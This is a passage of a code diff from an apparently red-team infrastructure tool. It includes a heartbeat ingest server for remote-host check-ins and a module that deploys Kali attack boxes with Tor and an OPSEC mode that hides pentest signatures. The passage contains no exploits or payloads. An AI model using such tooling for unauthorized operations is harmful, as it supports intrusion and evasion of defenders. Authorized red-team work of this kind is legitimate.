print(f" • Useful for testing, overnight runs, or CI/CD scenarios")
|
||||||
|
print(f" • Can be enabled globally via --auto-teardown flag")
|
||||||
|
print(f" • Can be enabled per-deployment during interactive setup")
|
||||||
|
print()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
try:
|
||||||
|
# Parse command line arguments
|
||||||
|
parser = argparse.ArgumentParser(description="C2itall - Modular red team infrastructure deployment")
|
||||||
|
parser.add_argument('--auto-teardown', action='store_true',
|
||||||
|
help='Enable automatic teardown on deployment failure (for testing/overnight runs)')
|
||||||
|
parser.add_argument('--menu', action='store_true', default=True,
|
||||||
|
help='Start interactive menu (default)')
|
||||||
|
parser.add_argument('--help-examples', action='store_true',
|
||||||
|
help='Show usage examples and detailed help')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
# Show detailed help if requested
|
||||||
|
if args.help_examples:
|
||||||
|
show_usage()
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
# Set global auto-teardown flag if specified
|
||||||
|
if args.auto_teardown:
|
||||||
|
os.environ['C2ITALL_AUTO_TEARDOWN'] = 'true'
|
||||||
|
print(f"{COLORS['YELLOW']}🔧 Auto-teardown enabled - failed deployments will be cleaned up automatically{COLORS['RESET']}")
|
||||||
|
|
||||||
|
main_menu()
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print(f"\n\n{COLORS['YELLOW']}Operation cancelled by user{COLORS['RESET']}")
|
||||||
|
sys.exit(0)
|
||||||
|
except Exception as e:
|
||||||
|
print(f"\n{COLORS['RED']}Unexpected error: {e}{COLORS['RESET']}")
|
||||||
|
sys.exit(1)
|
||||||
@@ -0,0 +1,167 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""heartbeat_ingest.py — HTTP(S) server that receives heartbeat POSTs and writes to engagement state.
|
||||||
|
|
||||||
|
Writes heartbeats to: ~/.umbra/engagements/{engagement}/heartbeats/{hostname}.json
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python heartbeat_ingest.py <engagement> [--port 8443] [--bind 127.0.0.1]
|
||||||
|
python heartbeat_ingest.py <engagement> --tls --cert cert.pem --key key.pem
|
||||||
|
python heartbeat_ingest.py <engagement> --auth-token SECRET
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import hashlib
|
||||||
|
import hmac
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import ssl
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import tempfile
|
||||||
|
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||||
|
|
||||||
|
UMBRA_HOME = os.path.expanduser("~/.umbra")
|
||||||
|
ENGAGEMENTS_DIR = os.path.join(UMBRA_HOME, "engagements")
|
||||||
|
|
||||||
|
# Will be set by main()
|
||||||
|
_engagement_name = ""
|
||||||
|
_heartbeat_dir = ""
|
||||||
|
_auth_token = ""
|
||||||
|
|
||||||
|
|
||||||
|
class HeartbeatHandler(BaseHTTPRequestHandler):
|
||||||
|
"""Handle POST /hb with JSON heartbeat payload."""
|
||||||
|
|
||||||
|
def _check_auth(self):
|
||||||
|
"""Validate auth token if configured."""
|
||||||
|
if not _auth_token:
|
||||||
|
return True
|
||||||
|
token = self.headers.get("X-Auth-Token", "")
|
||||||
|
return hmac.compare_digest(token, _auth_token)
|
||||||
|
|
||||||
|
def do_POST(self):
|
||||||
|
if not self._check_auth():
|
||||||
|
self.send_response(403)
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(b"forbidden")
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
length = int(self.headers.get("Content-Length", 0))
|
||||||
|
body = self.rfile.read(length)
|
||||||
|
data = json.loads(body)
|
||||||
|
|
||||||
|
hostname = data.get("hostname", "unknown").replace("/", "_").replace("..", "_")
|
||||||
|
hb_path = os.path.join(_heartbeat_dir, f"{hostname}.json")
|
||||||
|
|
||||||
|
with open(hb_path, "w") as f:
|
||||||
|
json.dump(data, f, indent=2)
|
||||||
|
|
||||||
|
self.send_response(200)
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(b"ok")
|
||||||
|
print(f" [+] {data.get('ts', '?')} heartbeat from {hostname} ({data.get('ip', '?')})")
|
||||||
|
|
||||||
|
except (json.JSONDecodeError, KeyError) as e:
|
||||||
|
self.send_response(400)
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(f"bad request: {e}".encode())
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.send_response(500)
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(f"error: {e}".encode())
|
||||||
|
|
||||||
|
def do_GET(self):
|
||||||
|
"""Health check endpoint."""
|
||||||
|
if not self._check_auth():
|
||||||
|
self.send_response(403)
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(b"forbidden")
|
||||||
|
return
|
||||||
|
|
||||||
|
self.send_response(200)
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(json.dumps({"status": "ok", "engagement": _engagement_name}).encode())
|
||||||
|
|
||||||
|
def log_message(self, fmt, *args):
|
||||||
|
"""Suppress default access logging."""
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def generate_self_signed_cert(cert_path, key_path):
|
||||||
|
"""Generate a self-signed certificate for TLS."""
|
||||||
|
try:
|
||||||
|
subprocess.run([
|
||||||
|
"openssl", "req", "-x509", "-newkey", "rsa:2048",
|
||||||
|
"-keyout", key_path, "-out", cert_path,
|
||||||
|
"-days", "365", "-nodes",
|
||||||
|
"-subj", "/CN=heartbeat-ingest",
|
||||||
|
], check=True, capture_output=True)
|
||||||
|
except FileNotFoundError:
|
||||||
|
raise RuntimeError("openssl not found — install it or provide --cert/--key manually")
|
||||||
|
print(f"[*] Generated self-signed cert: {cert_path}")
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
global _engagement_name, _heartbeat_dir, _auth_token
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(description="Heartbeat ingest server")
|
||||||
|
parser.add_argument("engagement", help="Engagement name")
|
||||||
|
parser.add_argument("--port", "-p", type=int, default=8443, help="Listen port (default: 8443)")
|
||||||
|
parser.add_argument("--bind", "-b", default="127.0.0.1", help="Bind address (default: 127.0.0.1)")
|
||||||
|
parser.add_argument("--auth-token", default=os.environ.get("UMBRA_HB_TOKEN", ""),
|
||||||
|
help="Shared secret for auth (X-Auth-Token header)")
|
||||||
|
parser.add_argument("--tls", action="store_true", help="Enable TLS")
|
||||||
|
parser.add_argument("--cert", default="", help="TLS certificate path (PEM)")
|
||||||
|
parser.add_argument("--key", default="", help="TLS private key path (PEM)")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
_engagement_name = args.engagement.strip().replace(" ", "_")
|
||||||
|
_heartbeat_dir = os.path.join(ENGAGEMENTS_DIR, _engagement_name, "heartbeats")
|
||||||
|
os.makedirs(_heartbeat_dir, exist_ok=True)
|
||||||
|
_auth_token = args.auth_token
|
||||||
|
|
||||||
|
# Also ensure engagement dir exists
|
||||||
|
eng_dir = os.path.join(ENGAGEMENTS_DIR, _engagement_name)
|
||||||
|
os.makedirs(eng_dir, exist_ok=True)
|
||||||
|
|
||||||
|
server = HTTPServer((args.bind, args.port), HeartbeatHandler)
|
||||||
|
|
||||||
|
# TLS setup
|
||||||
|
if args.tls:
|
||||||
|
cert_path = args.cert
|
||||||
|
key_path = args.key
|
||||||
|
|
||||||
|
# Auto-generate self-signed cert if none provided
|
||||||
|
if not cert_path or not key_path:
|
||||||
|
cert_dir = os.path.join(eng_dir, "tls")
|
||||||
|
os.makedirs(cert_dir, exist_ok=True)
|
||||||
|
cert_path = os.path.join(cert_dir, "heartbeat.crt")
|
||||||
|
key_path = os.path.join(cert_dir, "heartbeat.key")
|
||||||
|
if not os.path.exists(cert_path):
|
||||||
|
generate_self_signed_cert(cert_path, key_path)
|
||||||
|
|
||||||
|
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||||
|
ctx.load_cert_chain(cert_path, key_path)
|
||||||
|
server.socket = ctx.wrap_socket(server.socket, server_side=True)
|
||||||
|
proto = "https"
|
||||||
|
else:
|
||||||
|
proto = "http"
|
||||||
|
|
||||||
|
print(f"[*] Heartbeat ingest listening on {args.bind}:{args.port} ({proto})")
|
||||||
|
print(f"[*] Engagement: {_engagement_name}")
|
||||||
|
print(f"[*] Writing to: {_heartbeat_dir}")
|
||||||
|
print(f"[*] Auth: {'enabled' if _auth_token else 'disabled'}")
|
||||||
|
print(f"[*] Endpoint: POST {proto}://<this-host>:{args.port}/hb")
|
||||||
|
print()
|
||||||
|
|
||||||
|
try:
|
||||||
|
server.serve_forever()
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print("\n[*] Stopped")
|
||||||
|
server.server_close()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,444 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Attack Box deployment module
|
||||||
|
Deploy hardened attack boxes for initial access, manual testing, and reconnaissance
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import logging
|
||||||
|
import glob
|
||||||
|
|
||||||
|
# Add the project root to the path so we can import utils
|
||||||
|
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
|
||||||
|
|
||||||
|
from utils.common import (
|
||||||
|
COLORS, clear_screen, print_banner, generate_deployment_id,
|
||||||
|
setup_logging, get_public_ip, confirm_action, wait_for_input,
|
||||||
|
archive_old_logs
|
||||||
|
)
|
||||||
|
from utils.provider_utils import select_provider, gather_provider_config
|
||||||
|
from utils.ssh_utils import generate_ssh_key
|
||||||
|
from utils.name_generator import generate_attack_box_name
|
||||||
|
from utils.naming_utils import get_deployment_name_with_options, show_naming_relationship
|
||||||
|
|
||||||
|
def attack_box_menu():
|
||||||
|
"""Display the attack box deployment menu"""
|
||||||
|
while True:
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}ATTACK BOX DEPLOYMENT{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}====================={COLORS['RESET']}")
|
||||||
|
print(f"1) Deploy Quick Recon Box {COLORS['GREEN']}*FAST*{COLORS['RESET']} {COLORS['GRAY']}(Kali + Basic Tools - ~2-3 min){COLORS['RESET']}")
|
||||||
|
print(f"2) Deploy Kali Attack Box {COLORS['GRAY']}(Full Tools & Setup - ~15-20 min){COLORS['RESET']}")
|
||||||
|
print(f"3) Deploy Custom Ubuntu Attack Box")
|
||||||
|
print(f"99) Return to Main Menu")
|
||||||
|
|
||||||
|
choice = input(f"\nSelect an option: ")
|
||||||
|
|
||||||
|
if choice == "1":
|
||||||
|
deploy_quick_recon_box()
|
||||||
|
elif choice == "2":
|
||||||
|
deploy_kali_attack_box()
|
||||||
|
elif choice == "3":
|
||||||
|
deploy_ubuntu_attack_box()
|
||||||
|
elif choice == "99":
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
# Quick Recon Box now uses the regular attack box deployment with minimal settings
|
||||||
|
|
||||||
|
def gather_attack_box_parameters(attack_box_type="kali"):
|
||||||
|
"""Collect parameters specific to attack box deployments"""
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}ATTACK BOX SETUP - {attack_box_type.upper()}{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}{'=' * (20 + len(attack_box_type))}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
config = {}
|
||||||
|
|
||||||
|
# Generate deployment ID
|
||||||
|
config['deployment_id'] = generate_deployment_id()
|
||||||
|
print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Provider selection
|
||||||
|
provider = select_provider()
|
||||||
|
if not provider:
|
||||||
|
return None
|
||||||
|
config['provider'] = provider
|
||||||
|
|
||||||
|
# Get provider-specific configuration
|
||||||
|
provider_config = gather_provider_config(provider)
|
||||||
|
if not provider_config:
|
||||||
|
return None
|
||||||
|
config.update(provider_config)
|
||||||
|
|
||||||
|
# Attack box specific configuration
|
||||||
|
print(f"\n{COLORS['BLUE']}Attack Box Configuration{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Set deployment type
|
||||||
|
config['deployment_type'] = 'attack_box'
|
||||||
|
|
||||||
|
# Attack box type
|
||||||
|
config['attack_box_type'] = attack_box_type
|
||||||
|
|
||||||
|
# Attack box name with common naming options
|
||||||
|
config['attack_box_name'] = get_deployment_name_with_options(
|
||||||
|
deployment_type='attack_box',
|
||||||
|
deployment_id=config['deployment_id'],
|
||||||
|
prefix='a-'
|
||||||
|
)
|
||||||
|
|
||||||
|
# Attack box image mapping
|
||||||
|
if attack_box_type == "kali":
|
||||||
|
config['attack_box_image'] = "linode/kali"
|
||||||
|
elif attack_box_type == "ubuntu":
|
||||||
|
config['attack_box_image'] = "linode/ubuntu22.04"
|
||||||
|
else:
|
||||||
|
config['attack_box_image'] = "linode/ubuntu22.04" # Default fallback
|
||||||
|
|
||||||
|
# Instance sizing based on attack box type
|
||||||
|
print(f"\n{COLORS['GREEN']}Instance Size Selection:{COLORS['RESET']}")
|
||||||
|
print(f"1) Small (2 CPU, 4GB RAM) - Basic reconnaissance")
|
||||||
|
print(f"2) Medium (4 CPU, 8GB RAM) - Standard penetration testing")
|
||||||
|
print(f"3) Large (8 CPU, 16GB RAM) - Heavy exploitation/cracking")
|
||||||
|
print(f"4) XLarge (16 CPU, 32GB RAM) - Advanced research/development")
|
||||||
|
|
||||||
|
size_choice = input(f"Select instance size [2]: ").strip() or "2"
|
||||||
|
size_mapping = {
|
||||||
|
"1": {"type": "g6-standard-2", "name": "small"},
|
||||||
|
"2": {"type": "g6-standard-4", "name": "medium"},
|
||||||
|
"3": {"type": "g6-standard-8", "name": "large"},
|
||||||
|
"4": {"type": "g6-standard-16", "name": "xlarge"}
|
||||||
|
}
|
||||||
|
|
||||||
|
if size_choice in size_mapping:
|
||||||
|
config['instance_size'] = size_mapping[size_choice]['name']
|
||||||
|
if provider == "linode":
|
||||||
|
config['linode_instance_type'] = size_mapping[size_choice]['type']
|
||||||
|
else:
|
||||||
|
config['instance_size'] = "medium"
|
||||||
|
config['linode_instance_type'] = "g6-standard-4"
|
||||||
|
|
||||||
|
# SSH key generation using attack box name for consistency
|
||||||
|
ssh_key_path = generate_ssh_key(config['attack_box_name'])
|
||||||
|
if ssh_key_path:
|
||||||
|
config['ssh_key_path'] = ssh_key_path + ".pub"
|
||||||
|
print(f"{COLORS['GREEN']}SSH key generated: {ssh_key_path}{COLORS['RESET']}")
|
||||||
|
else:
|
||||||
|
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
# Additional tools selection
|
||||||
|
print(f"\n{COLORS['BLUE']}Additional Tools & Features:{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Custom domain for C2 comms (optional)
|
||||||
|
domain = input(f"Domain for attack box (optional, for C2 comms): ").strip()
|
||||||
|
if domain:
|
||||||
|
config['domain'] = domain
|
||||||
|
config['setup_domain'] = True
|
||||||
|
else:
|
||||||
|
config['setup_domain'] = False
|
||||||
|
|
||||||
|
# VPN setup
|
||||||
|
setup_vpn = input(f"Setup VPN server on attack box? [y/N]: ").strip().lower()
|
||||||
|
config['setup_vpn'] = setup_vpn in ['y', 'yes']
|
||||||
|
|
||||||
|
# Tor setup
|
||||||
|
setup_tor = input(f"Setup Tor proxy? [y/N]: ").strip().lower()
|
||||||
|
config['setup_tor'] = setup_tor in ['y', 'yes']
|
||||||
|
|
||||||
|
# Custom wordlists
|
||||||
|
custom_wordlists = input(f"Download custom wordlists? [y/N]: ").strip().lower()
|
||||||
|
config['custom_wordlists'] = custom_wordlists in ['y', 'yes']
|
||||||
|
|
||||||
|
# Set operator IP for security
|
||||||
|
config['operator_ip'] = get_public_ip()
|
||||||
|
if config['operator_ip']:
|
||||||
|
print(f"{COLORS['GREEN']}Detected operator IP: {config['operator_ip']}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# SSH after deploy
|
||||||
|
ssh_after = input(f"\nSSH to attack box after deployment? [Y/n]: ").strip().lower()
|
||||||
|
config['ssh_after_deploy'] = ssh_after not in ['n', 'no']
|
||||||
|
|
||||||
|
# Auto-teardown on failure option
|
||||||
|
print(f"\n{COLORS['BLUE']}Deployment Options:{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Enhanced OPSEC mode
|
||||||
|
opsec_mode = input(f"Enable enhanced OPSEC mode? (for sensitive operations) [y/N]: ").strip().lower()
|
||||||
|
config['enhanced_opsec'] = opsec_mode in ['y', 'yes']
|
||||||
|
|
||||||
|
if config['enhanced_opsec']:
|
||||||
|
print(f"{COLORS['YELLOW']}🔒 Enhanced OPSEC mode enabled:{COLORS['RESET']}")
|
||||||
|
print(f" • Working directory: /root/{config['deployment_id']} (not 'operator')")
|
||||||
|
print(f" • No 'trashpanda' references in files or aliases")
|
||||||
|
print(f" • Generic script names and comments")
|
||||||
|
print(f" • Minimal logging and history")
|
||||||
|
print(f" • No obvious pentesting tool signatures in configs")
|
||||||
|
config['work_dir'] = f"/root/{config['deployment_id']}"
|
||||||
|
config['tool_name'] = "toolkit"
|
||||||
|
config['project_name'] = config['deployment_id']
|
||||||
|
else:
|
||||||
|
print(f"{COLORS['CYAN']}💡 Standard mode - using TrashPanda branding and structure{COLORS['RESET']}")
|
||||||
|
config['work_dir'] = "/root/operator"
|
||||||
|
config['tool_name'] = "trashpanda"
|
||||||
|
config['project_name'] = "operator"
|
||||||
|
|
||||||
|
# Check for global auto-teardown flag
|
||||||
|
global_auto_teardown = os.environ.get('C2ITALL_AUTO_TEARDOWN', '').lower() == 'true'
|
||||||
|
|
||||||
|
if global_auto_teardown:
|
||||||
|
config['auto_teardown_on_fail'] = True
|
||||||
|
print(f"{COLORS['YELLOW']}⚠️ Auto-teardown enabled globally - failed deployments will be cleaned up automatically{COLORS['RESET']}")
|
||||||
|
else:
|
||||||
|
auto_teardown = input(f"Auto-teardown on deployment failure? (for testing/overnight runs) [y/N]: ").strip().lower()
|
||||||
|
config['auto_teardown_on_fail'] = auto_teardown in ['y', 'yes']
|
||||||
|
|
||||||
|
if config['auto_teardown_on_fail']:
|
||||||
|
print(f"{COLORS['YELLOW']}⚠️ Auto-teardown enabled - failed deployments will be cleaned up automatically{COLORS['RESET']}")
|
||||||
|
else:
|
||||||
|
print(f"{COLORS['CYAN']}💡 Failed deployments will prompt for cleanup confirmation{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Set deployment type
|
||||||
|
config['deployment_type'] = f'{attack_box_type}_attack_box'
|
||||||
|
|
||||||
|
return config
|
||||||
|
|
||||||
|
def deploy_kali_attack_box():
|
||||||
|
"""Deploy Kali Linux attack box"""
|
||||||
|
config = gather_attack_box_parameters("kali")
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['attack_box_image'] = 'linode/kali'
|
||||||
|
config['default_user'] = 'root'
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying Kali Linux attack box...{COLORS['RESET']}")
|
||||||
|
execute_attack_box_deployment(config)
|
||||||
|
|
||||||
|
def deploy_parrot_attack_box():
|
||||||
|
"""Deploy Parrot Security attack box"""
|
||||||
|
config = gather_attack_box_parameters("parrot")
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['attack_box_image'] = 'linode/debian11' # Will install Parrot tools
|
||||||
|
config['default_user'] = 'root'
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying Parrot Security attack box...{COLORS['RESET']}")
|
||||||
|
execute_attack_box_deployment(config)
|
||||||
|
|
||||||
|
def deploy_ubuntu_attack_box():
|
||||||
|
"""Deploy custom Ubuntu attack box"""
|
||||||
|
config = gather_attack_box_parameters("ubuntu")
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['attack_box_image'] = 'linode/ubuntu22.04'
|
||||||
|
config['default_user'] = 'root'
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying Ubuntu attack box...{COLORS['RESET']}")
|
||||||
|
execute_attack_box_deployment(config)
|
||||||
|
|
||||||
|
def deploy_quick_recon_box():
|
||||||
|
"""Deploy streamlined attack box focused on OPSEC and initial reconnaissance"""
|
||||||
|
config = gather_quick_recon_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['attack_box_image'] = 'linode/kali' # Kali Linux base
|
||||||
|
config['default_user'] = 'root'
|
||||||
|
config['deployment_type'] = 'quick_recon_box'
|
||||||
|
config['attack_box_type'] = 'quick_recon'
|
||||||
|
config['quick_deployment'] = True
|
||||||
|
config['enhanced_opsec'] = True # Always enable OPSEC
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying Quick Recon Box (minimal tools + OPSEC)...{COLORS['RESET']}")
|
||||||
|
execute_attack_box_deployment(config)
|
||||||
|
|
||||||
|
def gather_quick_recon_parameters():
|
||||||
|
"""Collect parameters for quick recon box deployment - streamlined"""
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}QUICK RECON BOX SETUP{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}====================={COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['CYAN']}Minimal deployment - basic tools + Tor + optional VPN{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['GRAY']}• Kali Linux base with core tools (nmap, nc, curl, dig, whois, tor){COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['GRAY']}• Add whatever tools you need after deployment{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['GRAY']}• Fast deployment - under 5 minutes{COLORS['RESET']}")
|
||||||
|
|
||||||
|
config = {}
|
||||||
|
|
||||||
|
# Generate deployment ID
|
||||||
|
config['deployment_id'] = generate_deployment_id()
|
||||||
|
print(f"\nDeployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Provider selection
|
||||||
|
provider = select_provider()
|
||||||
|
if not provider:
|
||||||
|
return None
|
||||||
|
config['provider'] = provider
|
||||||
|
|
||||||
|
# Get provider-specific configuration
|
||||||
|
provider_config = gather_provider_config(provider)
|
||||||
|
if not provider_config:
|
||||||
|
return None
|
||||||
|
config.update(provider_config)
|
||||||
|
|
||||||
|
# Quick recon specific configuration
|
||||||
|
config['deployment_type'] = 'quick_recon_box'
|
||||||
|
config['attack_box_type'] = 'quick_recon'
|
||||||
|
|
||||||
|
# Attack box name with recon prefix
|
||||||
|
config['attack_box_name'] = get_deployment_name_with_options(
|
||||||
|
deployment_type='quick_recon',
|
||||||
|
deployment_id=config['deployment_id'],
|
||||||
|
prefix='qr-'
|
||||||
|
)
|
||||||
|
|
||||||
|
# Force small instance for speed and cost
|
||||||
|
print(f"\n{COLORS['GREEN']}Instance: Small (2 CPU, 4GB RAM) - Optimized for recon{COLORS['RESET']}")
|
||||||
|
config['instance_size'] = "small"
|
||||||
|
if provider == "linode":
|
||||||
|
config['linode_instance_type'] = "g6-standard-2"
|
||||||
|
|
||||||
|
# SSH key generation
|
||||||
|
ssh_key_path = generate_ssh_key(config['attack_box_name'])
|
||||||
|
if ssh_key_path:
|
||||||
|
config['ssh_key_path'] = ssh_key_path + ".pub"
|
||||||
|
print(f"{COLORS['GREEN']}SSH key generated: {ssh_key_path}{COLORS['RESET']}")
|
||||||
|
else:
|
||||||
|
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
# Minimal OPSEC configuration
|
||||||
|
print(f"\n{COLORS['BLUE']}Quick OPSEC Configuration:{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Always enable Tor
|
||||||
|
config['setup_tor'] = True
|
||||||
|
print(f"✓ Tor proxy enabled (for anonymous operations)")
|
||||||
|
|
||||||
|
# Optional VPN
|
||||||
|
setup_vpn = input(f"Setup VPN server? [y/N]: ").strip().lower()
|
||||||
|
config['setup_vpn'] = setup_vpn in ['y', 'yes']
|
||||||
|
|
||||||
|
# No domain by default (keep minimal)
|
||||||
|
config['setup_domain'] = False
|
||||||
|
|
||||||
|
# Set operator IP for security
|
||||||
|
config['operator_ip'] = get_public_ip()
|
||||||
|
if config['operator_ip']:
|
||||||
|
print(f"{COLORS['GREEN']}Operator IP: {config['operator_ip']}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# SSH after deploy
|
||||||
|
ssh_after = input(f"SSH after deployment? [Y/n]: ").strip().lower()
|
||||||
|
config['ssh_after_deploy'] = ssh_after not in ['n', 'no']
|
||||||
|
|
||||||
|
# Enhanced OPSEC (always enabled)
|
||||||
|
config['enhanced_opsec'] = True
|
||||||
|
config['work_dir'] = f"/root/{config['deployment_id']}"
|
||||||
|
config['tool_name'] = "toolkit"
|
||||||
|
config['project_name'] = config['deployment_id']
|
||||||
|
|
||||||
|
# Auto-teardown option
|
||||||
|
auto_teardown = input(f"Auto-teardown on failure? [y/N]: ").strip().lower()
|
||||||
|
config['auto_teardown_on_fail'] = auto_teardown in ['y', 'yes']
|
||||||
|
|
||||||
|
# Set deployment flags
|
||||||
|
config['default_user'] = 'root'
|
||||||
|
config['attack_box_deployment'] = True
|
||||||
|
config['ssh_user'] = 'root'
|
||||||
|
|
||||||
|
return config
|
||||||
|
|
||||||
|
def deploy_windows_attack_box():
|
||||||
|
"""Deploy Windows attack box"""
|
||||||
|
print(f"\n{COLORS['YELLOW']}Windows attack box deployment coming soon...{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['YELLOW']}This will include Cobalt Strike, Metasploit, and Windows-specific tools{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
def deploy_multiple_attack_boxes():
|
||||||
|
"""Deploy multiple attack boxes for large engagements"""
|
||||||
|
print(f"\n{COLORS['BLUE']}Multiple Attack Box Deployment{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['YELLOW']}This will deploy multiple attack boxes for distributed operations{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['YELLOW']}Coming soon...{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
def execute_attack_box_deployment(config):
|
||||||
|
"""Execute attack box infrastructure deployment"""
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"\n{COLORS['GREEN']}Starting attack box deployment...{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Set up logging (archiving is now handled globally)
|
||||||
|
log_file = setup_logging(config['deployment_id'], "attack_box_deployment")
|
||||||
|
|
||||||
|
# Display configuration summary
|
||||||
|
print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}")
|
||||||
|
print(f"Deployment Type: {config['deployment_type']}")
|
||||||
|
print(f"Deployment ID: {config['deployment_id']}")
|
||||||
|
print(f"Attack Box Name: {config['attack_box_name']}")
|
||||||
|
|
||||||
|
# Show naming relationship if attack box is named after another deployment
|
||||||
|
naming_info = show_naming_relationship(
|
||||||
|
config['attack_box_name'],
|
||||||
|
config['deployment_id'],
|
||||||
|
'attack_box'
|
||||||
|
)
|
||||||
|
if naming_info:
|
||||||
|
print(f" └─ {naming_info['relationship_text']}")
|
||||||
|
print(f" └─ {naming_info['purpose_text']}")
|
||||||
|
|
||||||
|
print(f"Provider: {config['provider']}")
|
||||||
|
print(f"Attack Box Type: {config['attack_box_type']}")
|
||||||
|
print(f"Instance Size: {config['instance_size']}")
|
||||||
|
if config.get('domain'):
|
||||||
|
print(f"Domain: {config['domain']}")
|
||||||
|
print(f"VPN Setup: {'Yes' if config['setup_vpn'] else 'No'}")
|
||||||
|
print(f"Tor Setup: {'Yes' if config['setup_tor'] else 'No'}")
|
||||||
|
|
||||||
|
# Show SSH key information
|
||||||
|
if config.get('ssh_key_path'):
|
||||||
|
ssh_key_name = os.path.basename(config['ssh_key_path']).replace('.pub', '')
|
||||||
|
print(f"SSH Key: {ssh_key_name}")
|
||||||
|
print(f" └─ Use: ssh -i ~/.ssh/{ssh_key_name} root@<ip>")
|
||||||
|
|
||||||
|
# Confirm deployment
|
||||||
|
if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with attack box deployment?{COLORS['RESET']}", default=True):
|
||||||
|
print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Set attack box deployment flag
|
||||||
|
config['attack_box_deployment'] = True
|
||||||
|
|
||||||
|
# Execute the actual deployment using the deployment engine
|
||||||
|
from utils.deployment_engine import deploy_infrastructure
|
||||||
|
success = deploy_infrastructure(config)
|
||||||
|
|
||||||
|
if success:
|
||||||
|
print(f"\n{COLORS['GREEN']}Attack box deployed successfully!{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Display credentials file location
|
||||||
|
credentials_file = f"logs/deployment_info_{config['deployment_id']}.txt"
|
||||||
|
if os.path.exists(credentials_file):
|
||||||
|
print(f"\n{COLORS['CYAN']}📁 Credentials saved to: {credentials_file}{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['YELLOW']}⚠️ Keep this file secure - it contains your root password!{COLORS['RESET']}")
|
||||||
|
|
||||||
|
print(f"\n{COLORS['CYAN']}Next Steps:{COLORS['RESET']}")
|
